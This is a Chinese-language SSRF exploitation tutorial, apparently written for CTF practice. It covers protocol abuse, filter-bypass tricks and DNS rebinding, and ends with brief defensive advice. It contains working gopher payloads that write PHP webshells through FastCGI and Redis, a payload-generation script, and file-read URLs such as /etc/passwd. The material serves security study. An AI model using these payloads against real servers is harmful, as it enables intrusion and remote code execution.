SSRF的利用方式
字数 2331 2025-08-14 12:04:14
SSRF漏洞利用全面指南
0x00 SSRF基础知识
协议利用技能树
- http://:探测内网主机存活、端口开放情况
- gopher://:发送GET/POST请求;攻击内网应用(FastCGI、Redis等)
- dict://:泄露软件版本信息,查看端口,操作内网redis
- file://:读取本地文件
常见绕过方法
-
域名限制绕过:
http://www.xxx.com@127.0.0.1/flag.php- 短网址绕过
- 特殊域名(.xip.io)
- 进制转换(十进制/十六进制IP)
-
IP限制绕过:
- 302跳转
- 短地址
- 利用DNS解析
- 利用
[::]添加端口号 - 各种指向127.0.0.1的地址
漏洞产生函数(PHP)
curl()fsockopen()file_get_contents()fopen()readfile()curl_exec()SoapClient类
可攻击的内网应用
- Redis
- FastCGI
- MySQL
- PostgreSQL
- Zabbix
- PyMemcache
- SMTP
0x01 工具与资源
靶场:
- ctfhub
- SSRF_Vulnerable_Lab
工具:
- rebinder(DNS重绑定)
- bitly(生成短链接)
- Gopherus(生成Gopher payload)
0x02 SSRF漏洞详解
定义
SSRF(Server-Side Request Forgery):由攻击者构造形成由服务端发起请求的安全漏洞,能够请求到与服务器相连而与外网隔离的内部系统。
成因
服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。
常见场景
- 能够对外发起网络请求的地方
- 从远程服务器请求资源(上传URL、导入RSS等)
- 数据库内置功能
- Webmail收取其他邮箱邮件
- 文件处理、编码处理等
0x03 SSRF利用技术
一、内网访问
?url=http://127.0.0.1/flag.php
二、伪协议读取文件
PHP支持的伪协议:
- file:// - 本地文件系统
- http:// - HTTP(s)网址
- ftp:// - FTP(s) URLs
- php:// - 输入/输出流
- zlib:// - 压缩流
- data:// - 数据
- glob:// - 文件路径模式
- phar:// - PHP归档
- ssh2:// - SSH2
- rar:// - RAR
- ogg:// - 音频流
- expect:// - 交互式流
php.ini关键参数:
allow_url_fopen:默认On,允许URL封装协议allow_url_include:默认Off,不允许URL包含
示例:
?url=file:///var/www/html/flag.php
三、端口扫描
使用dict协议:
?url=dict://127.0.0.1:8000
使用http协议确认:
?url=http://127.0.0.1:8111
四、Gopher协议利用
格式:
gopher://IP:port/_TCP/IP数据流
HTTP GET请求构造:
- 构造HTTP数据包
- URL编码,替换换行为
%0d%0a - 最后加
%0d%0a表示结束
HTTP POST请求构造:
必须包含4个参数:
- Content-Type
- Content-Length
- Host
- POST参数
Python生成脚本:
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
五、攻击FastCGI
原理:
设置PHP环境变量:
auto_prepend_file = php://input
allow_url_include = On
这样会在执行PHP脚本前包含POST内容。
利用步骤:
- 准备一句话木马并base64编码
- 构造解码并写入文件的命令
- 使用Gopherus生成payload
- 对payload进行URL编码
- 提交请求
示例:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH123%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7B%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
六、攻击Redis
利用方式:
- 写SSH公钥
- 利用计划任务反弹shell
- 直接写webshell
- 主从复制getshell
步骤:
- 扫描Redis端口:
?url=dict://127.0.0.1:6379 - 使用Gopherus生成payload
- 对payload进行URL编码
- 提交请求
示例:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
七、URL绕过技巧
解析问题利用:
http://www.baidu.com@192.168.0.1
后端可能误认为host是www.baidu.com
示例:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
八、数字IP绕过
内网保留地址:
- A类:10.0.0.0~10.255.255.255
- B类:172.16.0.0~172.31.255.255
- C类:192.168.0.0~192.168.255.255
绕过方式:
- 十六进制:
0xC0A80001 - 十进制:
3232235521 - 省略模式:
10.1代替10.0.0.1
示例:
?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php
九、302跳转绕过
利用方法:
- xip.io:
http://192.168.0.1.xip.io - 短网址服务
示例:
?url=http://0.xip.io/flag.php
?url=https://tinyurl.com/vdt6acjr
十、DNS重绑定
原理:
- 域名解析到合法IP绕过检查
- 由于TTL为0,再次解析到内网IP
- 实际请求发送到内网
实现方式:
- 子域绑定到两个不同IP
- 设置TTL很短的DNS服务器,在两个IP间切换
工具:
- rebinder
示例:
http://7f000001.767b6446.rbndr.us/box.txt
十一、内网服务扫描
利用MySQL连接功能:
通过错误信息判断端口状态:
- 端口开放且运行MySQL:无错误
- 端口开放但无MySQL服务:"MySQL has gone away"
- 端口关闭:"Connection refused"
- IP不存在:"Third party not responding"
步骤:
- 使用fping探测存活主机
- 对存活主机进行端口扫描
十二、文件读取利用
危险函数:
file_get_contents($file);
利用方式:
file:///etc/passwd
file:///c:/windows/system32/drivers/etc/hosts
http://localhost/box.txt
修复方案:
- 在用户输入前添加目录名/绝对路径
- 过滤
../防止目录遍历 - 禁用危险协议
总结
SSRF漏洞危害严重,可导致内网渗透、敏感信息泄露等。防御关键在于:
- 严格过滤输入
- 禁用不必要的协议
- 实施白名单机制
- 设置适当的网络隔离
攻击者会不断寻找新的绕过方法,防御措施需要持续更新。